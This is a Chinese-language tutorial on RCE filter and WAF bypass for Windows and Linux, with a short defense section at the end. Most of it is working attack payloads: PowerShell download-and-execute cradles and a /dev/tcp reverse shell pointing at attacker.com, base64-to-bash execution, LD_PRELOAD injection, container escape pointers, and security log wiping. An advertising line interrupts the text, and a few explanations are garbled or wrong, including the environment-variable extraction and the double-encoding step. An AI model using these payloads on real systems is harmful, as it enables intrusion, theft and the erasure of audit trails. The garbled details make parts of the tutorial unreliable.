1. RCE漏洞基础概念与危害分析
远程代码执行(Remote Code Execution,简称RCE)漏洞是Web安全领域最危险的漏洞类型之一。攻击者通过构造恶意输入,使目标系统执行任意命令或代码,从而完全控制服务器。根据MITRE的统计,RCE类漏洞在近五年所有高危漏洞中占比超过35%,是渗透测试中最常被利用的漏洞类型。
RCE漏洞的典型危害场景包括:
- 服务器权限完全沦陷(getshell)
- 内网横向渗透的跳板
- 数据泄露与篡改
- 挖矿木马、勒索病毒植入
- 作为APT攻击的初始入口点
从技术实现上看,RCE漏洞通常出现在以下场景:
- 系统命令拼接(如PHP的system()、Python的os.popen())
- 反序列化操作(如Java的ObjectInputStream)
- 模板引擎解析(如Freemarker、Velocity)
- 文件包含操作(如PHP的include)
- 动态代码执行(如JavaScript的eval())
注意:实际渗透测试中,约60%的RCE漏洞需要配合绕过技术才能成功利用,这是因为现代系统普遍部署了基础防护措施。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Windows系统RCE绕过技术详解
2.1 命令分隔符绕过
Windows系统支持多种命令分隔方式,这是最基础的绕过手段:
batch复制# 标准分隔符
command1 & command2 # 无论前命令是否成功都执行后续
command1 && command2 # 前命令成功才执行后续
command1 || command2 # 前命令失败才执行后续
# 替代方案
command1 | command2 # 管道符传递输出
command1 %0A command2 # URL编码换行符
实战案例:某CMS后台存在命令注入,但过滤了&字符。通过ping 127.0.0.1||whoami成功执行命令。
2.2 环境变量拼接技巧
利用Windows的环境变量动态构造命令:
batch复制# 截取系统路径片段
%windir:~6,1% # 提取C:\Windows中的"C"
%PROGRAMFILES:~10,1% # 提取Program Files中的"F"
# 组合成完整命令
set cmd=net&&set user=user&&%cmd% %user% # 最终执行net user
2.3 通配符与短文件名利用
Windows短文件名特性可用于绕过关键词检测:
batch复制# 使用8.3格式文件名
c:\progra~1\subdi~1\execu~1.exe
# 通配符匹配
type *.ini # 查看所有ini配置文件
dir /s *.config # 递归搜索配置文件
2.4 编码与双重解码绕过
多层编码可绕过基础防护:
- 首先对payload进行URL编码:
code复制whoami → %77%68%6f%61%6d%69 - 再进行HTML实体编码:
code复制%77 → %77 - 最终在服务端经历两次解码后执行原始命令
2.5 COM组件与脚本引擎调用
通过脚本引擎执行复杂操作:
batch复制# 通过WScript执行VBS
cscript //E:vbscript script.vbs
# 使用PowerShell下载文件
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"
3. Linux系统RCE绕过技术解析
3.1 命令分隔与连接符
Linux系统支持更丰富的分隔方式:
bash复制# 基础分隔符
command1 ; command2 # 顺序执行
command1 & command2 # 后台执行
command1 | command2 # 管道传递
# 高级技巧
command1 `command2` # 先执行command2的结果作为command1参数
command1 $(command2) # 同上,更现代写法
3.2 变量与通配符技巧
利用Shell特性构造动态命令:
bash复制# 变量拼接
a=c;b=at;$a$b /etc/passwd
# 通配符利用
cat /etc/passwd
等同于
cat /???/pass???
3.3 编码与引号绕过
多层编码方案示例:
bash复制# 十六进制编码
echo -e "\x77\x68\x6f\x61\x6d\x69" # 解码为whoami
# Base64编码
echo "d2hvYW1p" | base64 -d | bash
3.4 文件描述符重定向
通过文件描述符执行命令:
bash复制# 通过文件描述符执行
exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
# 无文件写入执行
echo -e '#!/bin/sh\nwhoami' > /tmp/test; chmod +x /tmp/test; /tmp/test
3.5 环境变量注入
通过LD_PRELOAD等环境变量注入:
bash复制# 编译恶意库
echo 'void _init() { system("whoami"); }' > lib.c
gcc -shared -fPIC lib.c -o lib.so
# 通过环境变量加载
LD_PRELOAD=./lib.so /usr/bin/vulnerable_app
4. 现代防御体系下的高级绕过技术
4.1 沙箱逃逸技术
针对容器化环境的逃逸方法:
bash复制# 检查容器环境
cat /proc/1/cgroup | grep docker
ls -alh /.dockerenv
# 常用逃逸技术
--privileged 特权模式逃逸
CVE-2019-5736 runc漏洞逃逸
挂载宿主机目录逃逸
4.2 WAF绕过实战技巧
针对Web应用防火墙的绕过:
-
大小写变异:
code复制WhOaMi -
注释插入:
code复制who/*xyz*/ami -
空白符利用:
code复制w h o a m i -
等价命令替换:
code复制curl → wget → lynx cat → tail → head → less
4.3 无文件攻击技术
内存驻留型攻击方案:
powershell复制# PowerShell无文件执行
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
# Linux进程注入
gcc -shared -fPIC -o inject.so inject.c
LD_PRELOAD=./inject.so /usr/bin/victim
4.4 日志与痕迹清理
执行后清理技巧:
bash复制# Linux清理命令历史
history -c
unset HISTFILE
# Windows清除日志
wevtutil cl security
wevtutil cl system
5. 防御方案与最佳实践
5.1 安全开发规范
-
输入验证原则:
- 白名单优于黑名单
- 最小权限原则
- 上下文相关过滤
-
安全API使用:
python复制# 危险方式 os.system("ls " + user_input) # 安全方式 subprocess.run(["ls", user_input], shell=False)
5.2 系统加固建议
Windows加固措施:
- 启用AppLocker
- 配置Device Guard
- 限制PowerShell执行策略
Linux加固方案:
bash复制# 关键目录不可执行
mount -o remount,noexec /tmp
# 内核参数加固
sysctl -w kernel.randomize_va_space=2
sysctl -w kernel.exec-shield=1
5.3 监控与检测策略
关键监控点:
- 异常子进程创建
- 非常用端口连接
- 敏感目录文件修改
- 特权命令执行
检测规则示例(YARA):
code复制rule rce_attempt {
strings:
$cmd = /(cmd\.exe|bash|sh|powershell)/ nocase
$suspicious = /(\|\||\&\&|\`|\$\(|;|\|)/
condition:
$cmd and $suspicious
}
在实际渗透测试工作中,RCE漏洞的利用往往需要结合目标环境特点进行定制化绕过。建议通过搭建实验环境(如DVWA、WebGoat等)系统性地练习各种绕过技术。同时要牢记:所有安全测试必须获得授权,未经许可的测试可能涉及法律风险。
